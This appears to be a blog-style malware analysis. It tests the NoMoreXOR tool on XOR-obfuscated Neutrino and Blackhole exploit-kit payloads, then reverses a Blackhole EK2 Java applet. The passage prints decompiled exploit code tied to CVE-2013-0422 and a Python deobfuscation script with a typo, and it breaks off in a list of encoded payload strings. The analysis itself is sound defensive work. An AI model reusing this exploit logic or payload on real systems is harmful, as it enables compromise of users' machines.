A peak at NoMoreXOR

I have, since I heard about it in April, wanted to take a closer look at NoMoreXOR a Python tool made by Glenn over @Hiddenillusion 

When dealing with exploit kits we have a need to deobfuscate the final payload that these "Mass customized attacks" (see this video on the topic -> I liked) are throwing our way. Since I do not do Sudoku I very much like the pussle of going through some obfuscated Java code to figure out how to deobfuscate the payloads, but sometimes when we need a quick answer to what really hit us,  a tool would be great.

Hopefully NoMoreXor can help us to achieve that.

When I stumbled over a Blackhole EK here the other day I thought it would be a good opportunity to test NoMoreXOR on the payloads. So I fetched 4 JAR files and the obfuscated binary to be sure we had something to work with. For info on how to download exploits and payloads from BHEK see my "Analyzing Blackhole EK" post. My last post was about Neutrino  . We had a xored payload from there as well which we can play with. And finally we will have a look at Zeroaccess  getL messages(small hope for help on those, but we will see).

1. NoMoreXOR vs Neutrino binary payloads

Lets look at the file we want to deobfuscate:

0000000: 3c31 c3a9 7572 6b79 7575 6b79 75c2 8ec2  <1..urkyuukyu...
0000010: 9479 75c3 896b 7975 716b 7975 316b 7975  .yu..kyuqkyu1kyu
0000020: 716b 7975 716b 7975 716b 7975 716b 7975  qkyuqkyuqkyuqkyu
0000030: 716b 7975 716b 7975 716b 7975 716b 7975  qkyuqkyuqkyuqkyu
0000040: c2a1 6b79 757f 74c3 837b 71c3 9f70 c2b8  ..kyu.t..{q..p..
0000050: 50c3 9378 39c2 bc4a 2d1d 1818 5905 0304  P..x9..J-...Y...
0000060: 1e07 1006 5916 1005 171a 054b 1b10 5119  ....Y......K..Q.
0000070: 0c1b 5102 1755 3524 2a55 1c04 1d10 5f66  ..Q..U5$*U...._f
0000080: 747f 556b 7975 716b 7975 320b c3a8 c39a  t.Ukyuqkyu2.....
0000090: 766a c286 c289 766a c286 c289 766a c286  vj....vj....vj..
00000a0: c289 51c2 acc3 bbc2 8977 6ac2 86c2 8976  ..Q......wj....v
00000b0: 6ac2 87c2 891c 6ac2 86c2 8951 c2ac c3bd  j.....j....Q....
00000c0: c289 796a c286 c289 51c2 acc3 bcc2 8977  ..yj....Q......w
00000d0: 6ac2 86c2 8951 c2ac c3ab c289 606a c286  j....Q......`j..
00000e0: c289 51c2 acc3 bac2 8977 6ac2 86c2 8951  ..Q......wj....Q
00000f0: c2ac c3be c289 776a c286 c289 2302 1a1d  ......wj....#...
0000100: 766a c286 c289 212e 7975 3d6a 7a75 065f  vj....!.yu=jzu._
0000110: c297 3571 6b79 7571 6b79 75c2 916b 7a74  ..5qkyuqkyu..kzt
0000120: 7a6a 7175 71c3 8f79 7571 c393 7b75 716b  zjquq..yuq..{uqk
0000130: 7975 5b49 7975 717b 7975 71c2 ab79 7571  yu[Iyuq{yuq..yuq
0000140: 6b39 7571 7b79 7571 6979 7575 6b79 7571  k9uq{yuqiyuukyuq
0000150: 6b79 7575 6b79 7571 6b79 7571 c3ab 7a75  kyuukyuqkyuq..zu
0000160: 716f 7975 3523 7a75 736b 7975 716b 6975  qoyu5#zuskyuqkiu
0000170: 717b 7975 716b 6975 717b 7975 716b 7975  q{yuqkiuq{yuqkyu
0000180: 616b 7975 716b 7975 716b 7975 1dc3 8779  akyuqkyuqkyu...y
0000190: 75c3 bd6b 7975 711b 7a75 7963 7975 716b  u..kyuq.zuycyuqk
00001a0: 7975 716b 7975 716b 7975 716b 7975 716b  yuqkyuqkyuqkyuqk

We can see patterns and repetitive chars here. Definately a candidate for XOR. And since we know it to come from an exploit kit we expect win binaries, so it is obuscated.

Lets run NoMoreXOR:

remnux@remnux:~/EK/xor/neutrino$ NoMoreXOR.py -a -o out.hex neutrino.bin
[+] Attempting auto analysis
[+] HEXing................................: neutrino.bin
[+] Saving as.............................: out.hex
[+] Attempting to guess the XOR key of....: out.hex
[+] Size of content.......................: 379904
[+] Total pages (1024k)...................: 371
[+] Total contiguous 512 chunks...........: 742
[+] Top (5) overall chars
=============================================
 Occurences | Character(s)
---------------------------------------------
      13797 = 0x75
      13619 = 0x79
      13488 = 0x6b
      13332 = 0x71
       1479 = 0x86

[+] Total number of unique 512 chunks.....: 642
[+] Top (5) 512 char sequences after cleanup
=============================================
 Occurences | Character(s)
---------------------------------------------
 101 = 716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975

 1 = 6e662191ae967f7997adda6f52d7e87c32615ae3afb5d8e378dd4ee885db350032415823d25ce457717afb2c716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975

Being no expert on the tool: I think it is telling us that the key is about 4 byte and that the values are 0x75, 0x79, 0x6b and 0x71 (ascii: u, y, k q). Look in the Neutrino post and you will see that thats correct :) At least those are overrepresented in the file. The tool gives us 5 candidates for keys and 5 candidates for files that should be deobfuscated. We have to go hrough them and figure out which one we think fits best.

Lets have a look at candidate 0:

0000000: 4d5a c290 0003 0000 0004 0000 00c3 bfc3  MZ..............
0000010: bf00 00c2 b800 0000 0000 0000 4000 0000  ............@...
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: c390 0000 000e 1fc2 ba0e 00c2 b409 c38d  ................
0000050: 21c2 b801 4cc3 8d21 5468 6973 2070 726f  !...L..!This pro
0000060: 6772 616d 2063 616e 6e6f 7420 6265 2072  gram cannot be r
0000070: 756e 2069 6e20 444f 5320 6d6f 6465 2e0d  un in DOS mode..
0000080: 0d0a 2400 0000 0000 0000 4360 c291 c2af  ..$.......C`....
0000090: 0701 c3bf c3bc 0701 c3bf c3bc 0701 c3bf  ................
00000a0: c3bc 20c3 87c2 82c3 bc06 01c3 bfc3 bc07  .. .............
00000b0: 01c3 bec3 bc6d 01c3 bfc3 bc20 c387 c284  .....m..... ....
00000c0: c3bc 0801 c3bf c3bc 20c3 87c2 85c3 bc06  ........ .......
00000d0: 01c3 bfc3 bc20 c387 c292 c3bc 1101 c3bf  ..... ..........
00000e0: c3bc 20c3 87c2 83c3 bc06 01c3 bfc3 bc20  .. ............ 
00000f0: c387 c287 c3bc 0601 c3bf c3bc 5269 6368  ............Rich
0000100: 0701 c3bf c3bc 5045 0000 4c01 0300 7734  ......PE..L...w4
0000110: c3ae 4000 0000 0000 0000 00c3 a000 0301  ..@.............

Hey that looks to be pretty close.  The other candidates did not look like win exe files so we stop at the first one. Luckily I made a python tool to deobfuscate the neutrino binary received. So lets do a diff on the files and check:

remnux@remnux:~/EK/xor/neutrino$ diff -s neutrino.exe neutrino.bin.0.unxored 
Files neutrino.exe and neutrino.bin.0.unxored are identical

Yes they match exactly :) Nice NoMoreXOR!

2. NoMoreXOR vs Blackhole binary payloads

Lets look at the payload received from the blackhole EK:

0000000: 2f1e 3618 c289 7c6e 50c2 b614 c3b6 c3a8  /.6...|nP.......
0000010: 2533 3ec2 a0c2 bac3 a4c3 8638 c2aa 1cc2  %3>........8....
0000020: 8e70 12c2 b416 c288 7a6c 5e40 c2a2 04c3  .p......zl^@....
0000030: a6c3 98c3 8a3c c2ae 10c3 b2c3 9436 c2a8  .....<.......6..
0000040: 1ac2 8c7e 6042 c2a4 06c3 b8c3 aac3 9cc3  ...~`B..........
0000050: 8e30 c292 7456 483a 2cc2 9e00 c3ac c39b  .0..tVH:,.......
0000060: c29c c296 0a48 c3a7 1d13 2c77 24c2 976d  .....H....,w$..m
0000070: c3aa 48c3 ab17 66c3 8858 c3b3 69c2 82c2  ..H...f..X..i...
0000080: b359 c2b6 6bc2 9bc2 82c2 b0c2 af56 c2a4  .Y..k........V..
0000090: 043d 6ac3 8e5b c3be 523d c398 08c3 9e43  .=j..[..R=.....C
00000a0: c2ad c380 c2af 4bc3 a21d 4451 43c2 ba36  ......K...DQC..6
00000b0: c3b4 c396 c388 3ac2 ac1e c280 3201 c2a6  ......:.....2...
00000c0: 18c3 867d 6850 3256 52c2 b9c3 9ac3 8c3e  ...}hP2VR......>
00000d0: c2a0 02c3 a4c3 8638 4a1c c281 7159 c2b5  .......8J...qY..
00000e0: 14c2 ba7a 1a5e 40c2 a2c3 8cc3 a7c3 98c3  ...z.^@.........
00000f0: 8a3c c2ae 1002 c28d 36c2 a81a c29c 7e60  .<......6.....~`
0000100: 4204 06c3 b8c3 aac3 9cc2 8e30 c292 6456  B..........0..dV
0000110: 48c2 ba2e c29e 00c3 a6c3 8426 c298 0ac3  H..........&....
0000120: bcc3 aec3 9036 c294 7668 5a4c c2be 20c2  .....6..vhZL.. .
0000130: 82c3 a444 c2b8 2ac2 980e c3b0 76c2 aec2  ...D..*.....v...
0000140: 9408 c3b8 c3ac c39e c380 22c2 8476 584a  .........."..vXJ
0000150: c2ac 2ec2 9072 54c2 a628 c29a 1cc3 bec3  .....rT..(......
0000160: a0c3 8224 c286 787a 5c4e c2b0 12c3 b4c3  ...$..xz\N......
0000170: 96c3 883a c2ac 1ec2 80c3 aec3 b1c2 a718  ...:............
0000180: c2b6 7c6e 50c2 b2c3 94c3 b7c3 a876 763e  ..|nP........vv>
0000190: c2a0 02c3 a4c3 8638 c2aa 1cc2 8e70 52c3  .......8.....pR.
00001a0: b614 c288 c282 715e 40c2 a204 c3a6 c398  ......q^@.......
00001b0: c38a 3cc2 ae10 c3b2 c394 36c2 a81a c28c  ..<.......6.....
00001c0: 7e60 42c2 a406 c3b8 c3aa c39c c38e 30c2  ~`B...........0.
00001d0: 9274 5648 c2ba 2cc2 9e00 c3a2 c384 26c2  .tVH..,.......&.
00001e0: 980a c3bc c3ae c390 32c2 9476 685a 4cc2  ........2..vhZL.

Not so easy to determine. Could it be encrypted? Again a payload binary from an exploit kit so we expect a win exe. Lets run NoMoreXOR

remnux@remnux:~/EK/xor/blackhole$ NoMoreXOR.py -a -o out.hex a.bin
[+] Attempting auto analysis
[+] HEXing................................: a.bin
[+] Saving as.............................: out.hex
[+] Attempting to guess the XOR key of....: out.hex
[+] Size of content.......................: 311280
[+] Total pages (1024k)...................: 303
[+] Total contiguous 512 chunks...........: 607
[+] Top (5) overall chars
=============================================
 Occurences | Character(s)
---------------------------------------------
        943 = 0x56
        939 = 0x8a
        935 = 0x1a
        934 = 0x3a
        931 = 0x6a

[+] Total number of unique 512 chunks.....: 467
[+] Top (5) 512 char sequences after cleanup
=============================================
 Occurences | Character(s)
---------------------------------------------
 134 = f2d436881aecfec0228466784a5cae30927456a83a8c1ee0c2248618eafcced0329476485aac3e806244a6388a1ceef0d23496687a4c5ea002e4c6d82abc0e907254b6089a6c7e40a204e6f8cadc2eb012f4d628ba0c9e6042a406986a7c4e50b214f6c8da2cbe00e2c426b80a9c6e7052b416e8faccde2082644658aa3c8e10f2d436881aecfec0228466784a5cae30927456a83a8c1ee0c2248618eafcced0329476485aac3e806244a6388a1ceef0d23496687a4c5ea002e4c6d82abc0e907254b6089a6c7e40a204e6f8cadc2eb012f4d628ba0c9e6042a406986a7c4e50b214f6c8da2cbe00e2c426b80a9c6e7052b416e8faccde2082644658aa3c8e10

 6 = 6244a6188a7c6e50b214f6e8dacc3ea002e4c638aa1c8e7052b416887a6c5e40a204e6d8ca3cae10f2d436a81a8c7e6042a406f8eadcce3092745648ba2c9e00e2c426980afceed0329476685a4cbe20826446b82a9c0ef0d2349608faecdec0228466584abc2e907254b6289a0cfee0c22486786a5c4eb012f4d6c83aac1e806244a6188a7c6e50b214f6e8dacc3ea002e4c638aa1c8e7052b416887a6c5e40a204e6d8ca3cae10f2d436a81a8c7e6042a406f8eadcce3092745648ba2c9e00e2c426980afceed0329476685a4cbe20826446b82a9c0ef0d2349608faecdec0228466584abc2e907254b6289a0cfee0c22486786a5c4eb012f4d6c83aac1e80

Nothing to conclude from this output? Seems like there is one key though...

Again 5 files to look more into.

File 0:

0000000: c39d c38a 00c2 90c2 93c2 90c2 90c2 90c2  ................
0000010: 94c2 90c2 90c2 906f 6fc2 90c2 9028 c290  .......oo....(..
0000020: c290 c290 c290 c290 c290 c290 c390 c290  ................
0000030: c290 c290 c290 c290 c290 c290 c290 c290  ................
0000040: c290 c290 c290 c290 c290 c290 c290 c290  ................
0000050: c290 c290 c290 c290 c290 c290 c290 c290  ................
0000060: c290 c290 c290 c290 c290 c290 c290 c290  ................
0000070: c290 c290 10c2 90c2 90c2 90c2 9ec2 8f2a  ...............*
0000080: c29e c290 24c2 995d c2b1 28c2 91c3 9c5d  ....$..]..(....]
0000090: c2b1 c384 c3b8 c3b9 c3a3 c2b0 c3a0 c3a2  ................
00000a0: c3bf c3b7 c3a2 c3b1 c3bd c2b0 c3b3 c3b1  ................
00000b0: c3be c3be c3bf c3a4 c2b0 c3b2 c3b5 c2b0  ................
00000c0: c3a2 c3a5 c3be c2b0 c3b9 c3be c2b0 c394  ................
00000d0: c39f c383 c2b0 c3bd c3bf c3b4 c3b5 c2be  ................
00000e0: c29d c29d c29a c2b4 c290 c290 c290 c290  ................
00000f0: c290 c290 c290 c380 c395 c290 c290 c39c  ................
0000100: c291 c296 c290 10c3 9234 c381 c290 c290  .........4......
0000110: c290 c290 c290 c290 c290 c290 70c2 90c2  ............p...

Not what we where looking for, continue

File 1:

0000000: 4d5a c290 0003 0000 0004 0000 00c3 bfc3  MZ..............
0000010: bf00 00c2 b800 0000 0000 0000 4000 0000  ............@...
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: c280 0000 000e 1fc2 ba0e 00c2 b409 c38d  ................
0000050: 21c2 b801 4cc3 8d21 5468 6973 2070 726f  !...L..!This pro
0000060: 6772 616d 2063 616e 6e6f 7420 6265 2072  gram cannot be r
0000070: 756e 2069 6e20 444f 5320 6d6f 6465 2e0d  un in DOS mode..
0000080: 0d0a 2400 0000 0000 0000 5045 0000 4c01  ..$.......PE..L.
0000090: 0600 c280 42c2 a451 0000 0000 0000 0000  ....B..Q........
00000a0: c3a0 000f 010b 0102 3200 7600 0000 c388  ........2.v.....
00000b0: 0100 0000 0000 c3b0 5900 0000 1000 0000  ........Y.......
00000c0: c2a0 0000 0000 4000 0010 0000 0002 0000  ......@.........
00000d0: 0400 0000 0000 0000 0400 0000 0000 0000  ................
00000e0: 00c2 8002 0000 0400 00c2 a4c2 9a02 0002  ................
00000f0: 0000 0000 0010 0000 1000 0000 0010 0000  ................
0000100: 1000 0000 0000 0010 0000 0000 0000 0000  ................
0000110: 0000 00c2 8cc2 b501 003c 0000 0000 c380  .........<......
0000120: 0100 c2ac c2ba 0000 0000 0000 0000 0000  ................
0000130: 0042 0200 c3b8 1d00 0000 0000 0000 0000  .B..............
0000140: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000150: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000160: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000170: 00c3 a8c2 b501 0020 0000 0000 0000 0000  ....... ........
0000180: 0000 0000 0000 0000 0000 0000 0000 0000  ................

Nice, thats more like it.

Now lets test it -> I ran it; and what else to expect than Ransomeware.

2-0 to NoMoreXOR - Great!

3. NoMoreXOR vs Zeroaccess getL messages

Lastly lets have a brief look at ZeroAccess P2P traffic that we know to be XORed.
Original traffic:

0000000: c2b8 3f35 c3be 28c2 94c2 8dc2 abc3 89c3  ..?5..(.........
0000010: 80c3 91c2 99c2 85c2 956f 3f0a            .........o?.

Output from NoMoreXOR:

remnux@remnux:~/EK/xor/zeroaccess$ NoMoreXOR.py -a -o out.hex getl2
[+] Attempting auto analysis
[+] HEXing................................: getl2
[+] Saving as.............................: out.hex
[+] Attempting to guess the XOR key of....: out.hex
[+] Size of content.......................: 56
[+] Total pages (1024k)...................: 0
[+] Total contiguous 512 chunks...........: 0
[+] Top (5) overall chars
=============================================
 Occurences | Character(s)
---------------------------------------------
          7 = 0xc2
          4 = 0xc3
          2 = 0x3f
          1 = 0xbe
          1 = 0xab

[+] Total number of unique 512 chunks.....: 1
[+] Top (5) 512 char sequences after cleanup
=============================================
 Occurences | Character(s)
---------------------------------------------
 1 = c2b83f35c3be28c294c28dc2abc389c380c391c299c285c2956f3f0a

[+] Trying XOR key : c2b83f35c3be28c294c28dc2abc389c380c391c299c285c2956f3f0a
[+] XOR'ing................................: getl2
[+] Saving as..............................: getl2.0.unxored
[+] Scanning with Yara
[-] Using rules............................: /usr/local/etc/capabilities.yara

Only one candidate this time:

0000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000010: 0000 0000 0000 0000 0000 0000 0a         .............

No luck this time.  I guess the tool was not made for it either.

4. Conclusion

Seems like we have found a really useful tool here. Thanks to @Hiddenillusion for sharing. As this  tool is totally open source we are able to extend the tool should we want to do that.

Happy XORing Exploit Kit payloads

For description and how to use see the link to Hiddenillusions above.

Further reading:

Malwarebites on XOR - By Joshua Cannell

SANS DFIR - By Lenny Zeltser

Having fun reversing BHEK2 Java archives using Python

Having fun reversing BHEK2 Java Archives

- And since I need to learn more Python(not Monty that is) I just thought I would throw in a couple of Python scripts for the deobfuscation.

A couple of days back I looked into fetching the exploit files from the BHEK2.

While doing that excersise I got a couple of JAR archives. Lets look at one of them(They are almost identical anyway).

Now lets look into how the java code for this EK is built and what it does.

Just a reminder: I'm NO Java FU master so terminology and correctness might be sloppy. But I hope that we can get the job done.

0.First thing first: Unzip the JAR archive.  

$unzip 9_3.jar
/EK/cinema/9_3_jar$ unzip 9_3.jar 
Archive:  9_3.jar
   creating: META-INF/
  inflating: META-INF/MANIFEST.MF    
  inflating: hw.class                
  inflating: codehex.class           
  inflating: Impossible.class        
  inflating: RunnerGood.class        
  inflating: d.class                 
  inflating: Asd.class               
  inflating: test.class              
  inflating: test2.class

1. The Applet is where the adventure start, as that is whats called from the HTML code. 

Thats a class that extends java.lang.Applet. Since I have seen a couple of network traces of BHEK2 before I remember that to be hw.class.
To be able to read the source code of the class files we just unzipped, we need to reverse it from the Java byte code and back to readable source code.

showmycode.com is a nice tool for this! or if you prefer commandline: jad. Simpy "jad hw.class"

2. The applet - hw.class 

import java.applet.Applet;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class hw extends Applet
{

    public hw()
    {
    }

    public static String pah(String s)
    {
        return (new StringBuffer(s)).reverse().toString();
    }

    public static byte[] shy(String s)
    {
        byte abyte0[] = new byte[s.length() / 2];
        for(int i = 0; i < s.length(); i += 2)
        {
            byte byte0 = (byte)((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));
            abyte0[i / 2] = byte0;
        }

        return abyte0;
    }

    public static Object rue(String s, String s1, Object obj)
        throws ReflectiveOperationException
    {
        return test2.rue2(s, s1, obj, new Class[0], new Object[0]);
    }

    public void init()
    {
        try
        {
            Class class1 = RunnerGood.bug(pah((new StringBuilder(String.valueOf(RunnerGood.zz))).append("vaj.allizom.gro.n".concat("us")).toString()));
            Method method = codehex.lot(class1, "enter", true);
            Object obj = method.invoke(null, new Object[0]);
            Method method1 = codehex.lot(class1, "createClassLoader", false);
            Object obj1 = method1.invoke(obj, new Object[1]);
            byte abyte0[] = d.decodeH(test2.one());
            Class class2 = RunnerGood.bug(pah("redaoLssalCdetareneG.lanretn".concat("i.tpircsavaj.all".concat("izom.gro.nus"))));
            Method method2 = codehex.lot(class2, test2.dd, false);
            String str12 = d.get(this);
            if(str12.indexOf("::") == -1)
            {
                Class class3 = (Class)method2.invoke(obj1, new Object[] {
                    0, abyte0
                });
                Constructor localConstructor = class3.getConstructor(new Class[] {
                    java/lang/String
                });
                localConstructor.newInstance(new Object[] {
                    str12
                });
            } else
            {
                Class my_class = (Class)method2.invoke(obj1, new Object[] {
                    0, Asd.arrayOfByte2
                });
                my_class.newInstance();
                Method mmm = my_class.getMethod("r", new Class[] {
                    java/lang/String, java/lang/Class
                });
                float a = 0.0F;
                mmm.invoke(null, new Object[] {
                    str12, hw
                });
            }
        }
        catch(Exception e)
        {
            e.printStackTrace();
        }
    }

    public static String gouerpyftn(String paramString)
    {
        String str2;
        String str1 = Asd.getKkkk();
        str2 = "";
        for(int i = 0; i < paramString.length(); i++)
        {
            Object localObject = Character.valueOf(paramString.charAt(i));
            int j = str1.indexOf(localObject.toString());
            if(j != -1)
            {
                if(j != 0)
                {
                    localObject = Character.valueOf(str1.charAt(j - 1));
                    str2 = (new StringBuilder(String.valueOf(str2))).append(localObject.toString()).toString();
                } else
                {
                    localObject = Character.valueOf(str1.charAt(str1.length() - 1));
                    str2 = (new StringBuilder(String.valueOf(str2))).append(localObject.toString()).toString();
                }
            } else
            {
                localObject = Character.valueOf(paramString.charAt(i));
                str2 = (new StringBuilder(String.valueOf(str2))).append(localObject.toString()).toString();
            }
        }

        return str2;
        Exception exception;
        exception;
        return "";
    }
}

Links to the classes @ showmycode.com:

hw.class              
codehex.class        
Impossible.class      
RunnerGood.class      
d.class              
Asd.class            
test.class            
test2.class


To the fun stuff! Can we figure out what the bad guys are up to, even when they do not want us to.

3. init() is the start of an applet so here is where we have to start investigating.

Class class1 = RunnerGood.bug(pah((new StringBuilder(String.valueOf(RunnerGood.zz))).append("vaj.allizom.gro.n".concat("us")).toString()));

Here the last string is appended to the string zz from the class RunnerGood (public static String zz = "txetnoC.lanretni.tpircsa";) and then the method pah() is run with that string as input. pah() just reverses the string and we end up with "sun.org.mozilla.javascript.internal.Context"

That string is sent into the bug() method of class RunnerGood.
That method is trying to find a class. Note also that there are referenses to MbeanInstantiator which was the problem with one of the Java 0-Days in January: CVE-2013-0422. Excellent paper on that here, And as we can see that is the exact trick used.


Having fun yet? That was not so hard :)

Line 40: Method method = codehex.lot(class1, "enter", true);
returning a method based on the params given to it.

Line 41: instantiate obj.

The whole thing is repeated and obj1 is instantiated.

Line 44: looks like we are going to start with the strings
byte abyte0[] = d.decodeH(test2.one()); the bytearray abyte0 is set:

OK, a lot of strings to concatenate and process.

4. Making use of Python

Here is where I take some time to code som Python and came up with the script below. I just grepped for the strings, redirected them to a file and renamed them. Swapped concat with "+" and cleaned it up a bit. Then I implemented the methods/functions.

getKkkk()

gouerpyftn(paramString)

one()

decodeH(paramString)

# malforsec BHEK Java deobfuscation 0.9

#Key
def getKkkk():
  str1 = "b12gO6%oh3}lfs98^mYauL5{qiy)RKpk40(VXBrtW&DzCFA-JndU_eZwTNHc+7QMx*vIPSGE"
  return str1;

#Deobfuscate main
def gouerpyftn(paramString):
  str1 = getKkkk()
  str2 = ""
  for i in range (0, len(paramString), 1):  
    c = paramString[i]
    j = str1.find(c)
    if j != -1:
      if j != 0:
        str2 += str1[(j-1)]
      else:
        str2 += str1[len(str1)-1]
    else:
      str2 =+ paramString[i]
  return str2

def one():
  str1 = impossible_str17 + test_str114 + test_str116 + test_str119 + asd_str122 + asd_str123 + asd_str124 + asd_str125
  return str1

def decodeH(paramString):
  str1 = ""
  for i1 in range(0, (len(paramString)/2), 1):
# Lets shorten the code a bit here and drop the codehex.ttt call
#    arrayOfByte[i1] = codehex.ttt(paramString, i1);
    str1 += str(chr(int(paramString[(i1*2):((i1*2)+2)], 16)))
  return str1

test2_str1 = "F-Abr-rb((((((}g((Ar(-(((8((0r(8((}}((0F(^((0z(-"
test2_str2 = "(((%((0b(^((0A(Q(({((^(({2(-(((%(({g(Q(({"
test2_str3 = "}(-(({0(({{(Q(({%(-(({Q(({^(Q(({8(-(((z((0r(}("
test2_str4 = "((A0g0((}((Q-2g(((-(((z(({-(Q(({r(-((2g((0r"
test2_str5 = "(-((2g(({F(^(({z(-((2g(({b(-((2g(({A(^((%((-(({Q("
test2_str6 = "(%2(^((%g(-((gF(({A(Q((%}(-((2F((%0(-((2F((%{(-((%%((%"
test2_str7 = "Q(^((%^(-((%%((%8(^((%-(-((gF((%r(^((%F(Q((%z(-((g{((%0(-((%"
test2_str8 = "b((%A(-((g{((Q((-((%b((Q2(-((g{((Q2(-((Qg((Q}(Q((Q0(^(("
test2_str9 = "Q{(^((Q%(^((QQ(^((Q^(-((Qg((Q8(-(({Q((Q-(Q((Qr(Q((QF(2"
test2_str10 = "(((2%2(2((2g0F%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%b%Q}r(2(((%}F"
test2_str11 = "%8%b%8Q0}b(2((2{g^0F%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%"
test2_str12 = "b%Q}rg8{%(2(((00}%A%0%{(2(((A0F%8%b%{0bQ{%z%g%{Qg{"
test2_str13 = "0%2%g%F%{(2(((z{}Q0%2%}%r0z%2Q({0%2%g%F%{(Q((Qr(Q(("
test2_str14 = "Q0(Q(({%(2(((}QgQ{%b(2((20g^g80F%-%2Q%%2gA%F%2%b%QgA0A%g%"
test2_str15 = "-%{%}Q0}r(Q(({8(Q((%}(Q((Qz(Q((Qb(Q((%z(Q((QA(Q((^((2(((-0"
test2_str16 = "{Q^%}%{Q(Q0%8%A%bQ}(2(((-{}%AQ{Qg%"

impossible_str17 = gouerpyftn(test2_str1 + test2_str2 + test2_str3 + test2_str4 + test2_str5 + test2_str6 + test2_str7 + test2_str8 + test2_str9 + test2_str10 + test2_str11 + test2_str12 + test2_str13 + test2_str14 + test2_str15 + test2_str16)

impossible_str27 = "}%{0%%8%F%{(2(((F%-%2Q%%2{gQ{%bgb%-%2Q%%"
impossible_str28 = "2(F((}Q((^2(F((}{((}%(2((2Agz%A%}2gQr}0%rQ%(%gQgbQ-%F{z20g"
impossible_str29 = "0%zQ(F(^(g%(0%2Qr(QgQg^%gQ82%gQ(F((^g((^}(2(((Fg}%20{(2}F}"
impossible_str30 = "2%QQ82%}ggg%-(2(((A%-%2Q%%2gA%F%2%b%QgA0}%F%2Q}Q}("
impossible_str31 = "2((gQgz%A%}2gQr}0%rQ%(%gQgbQ-%F{z({}{%Q%}2-}8gg%8Q(2Q2"
impossible_str32 = "(}A%zQ((}g2gb%2Qr}g}%}}%QQ-2z(F((^0((^{(2("
impossible_str33 = "(2(%-%2Q%%2gA%F%2%b%QgA0A%g%-%{%}Q0(Q((^%(F((^Q((^^("
impossible_str34 = "2((2}%-%2Q%%2gA%F%2%b%QgA0{Q^%}%{Q(Q0%8%A%"
impossible_str35 = "b(Q((^8(F((^-((^r(2((2(%-%2Q%%2gAQ{Q0%8%FgA{g%2%b%0%A%z"
impossible_str36 = "(F((^F((^z(2((2Q%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%b%Q"
impossible_str37 = "0gQ{%8%F%0%{Qg(F((^b((^A(2(((0%8%r%z2%(F(("
impossible_str38 = "^b((8((F((82((8g(2(((8}gQzQ((2QrgA%2Q^2%(F((8"
impossible_str39 = "}((80(2(((2gA(2(((F%-%2Q%%2gA%b%{Q0gA{{{g"
impossible_str40 = "0F(F((}Q((}^(F((8{((8%(Q((Qz(F((8Q((8^(2((20(0%2Qr(Q}(g8Q-}^"
impossible_str41 = "}Q}F}0QbQ-F(^(}F}}%QQ-2z(F((88((80(2(((0%8Q-Q^(}(F("
impossible_str42 = "(8-((8r(2(((0%8%-Q82A(2((2^%-%2Q%%2gA%8%AgA0%%8%F%{0A"
impossible_str43 = "Q{Q0Q(Q{Q0{}Q0Qg%{%2%z(Q((Qb(F((8F((8z(F((8b(("
impossible_str44 = "8A(F((-(((^2(Q((^((F((-2((-g(2((2(%-%2Q%%"
impossible_str45 = "2gA%F%2%b%QgA{}Q0Qg%8%b%Q(2(((Qg0%}Q2{z}(}A%r"
impossible_str46 = "(2(((g%^0z(2(((8}{%rQgF(^(g}}{}zgQ(2(((g%-Qz(F((-}((-"
impossible_str47 = "0(F((-{((-%(2(((Q%-%2Q%%2{gQ{%b(2((gQ%-%2Q"
impossible_str48 = "%%2gAQ}%{%}Q{Qg%8Q0Q8gA{(Qg%8Q%%8%F%{%Q%{"
impossible_str49 = "{Q^%}%{Q(Q0%8%A%b02%}Q0%8%A%b(2((2%%-%2Q%%2gA%b%{Q0"
impossible_str50 = "gA{{{g0F0}%A%b%b%{%}Q0%8%A%b(2((2}%-%2Q%%2"

test_str114 = gouerpyftn(impossible_str27 + impossible_str28 + impossible_str29 + impossible_str30 + impossible_str31 + impossible_str32 + impossible_str33 + impossible_str34 + impossible_str35 + impossible_str36 + impossible_str37 + impossible_str38 + impossible_str39 + impossible_str40 + impossible_str41 + impossible_str42 + impossible_str43 + impossible_str44 + impossible_str45 + impossible_str46 + impossible_str47 + impossible_str48 + impossible_str49 + impossible_str50)

impossible_str54 = "gA%8%AgA08%bQ(Q{Q0{}Q0Qg%{%2%z(2(((g{r0g(2((22%-%2"
impossible_str55 = "Q%%2gA%F%2%b%QgA{gQ{%bQ0%8%z%{(2(((}g^g8{%(2"
impossible_str56 = "(((Q%%%AQg0b%2%z%{(2((g{g^0F%-%2Q%%2gA%F%2%b%Qg"
impossible_str57 = "A{}Q0Qg%8%b%Q}rg80F%-%2Q%%2gA%F%2%b%QgA0}%F%2Q}Q}}r(2(((8%"
impossible_str58 = "Q%{Q00z%{Q0%^%A%0(2((0(g^0F%-%2Q%%2gA%F%2%b%QgA{"
impossible_str59 = "}Q0Qg%8%b%Q}r{r0F%-%2Q%%2gA%F%2%b%QgA0}%F%2Q}Q}}"
